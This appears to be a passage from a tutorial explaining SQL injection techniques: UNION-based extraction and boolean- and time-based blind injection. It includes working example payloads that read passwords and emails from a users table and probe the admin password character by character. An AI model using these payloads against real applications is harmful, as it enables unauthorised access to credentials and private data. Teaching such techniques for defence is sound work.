Advanced Injection Techniques

Experienced attackers employ sophisticated techniques beyond basic authentication bypass. UNION-based injection allows combining results from multiple queries:

-- Attacker input: ' UNION SELECT password, email FROM users--
-- Resulting query:
SELECT product_name, price FROM products WHERE id = '1' UNION SELECT password, email FROM users--'

This technique extracts data from entirely different tables than the application intended to query. Blind injection techniques work even when applications don't display query results directly. Boolean-based blind injection uses conditional statements to extract data one bit at a time:

-- Checking if the first character of admin password is 'a'
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

Time-based blind injection introduces delays to infer information:

-- If condition is true, database waits 5 seconds
' IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--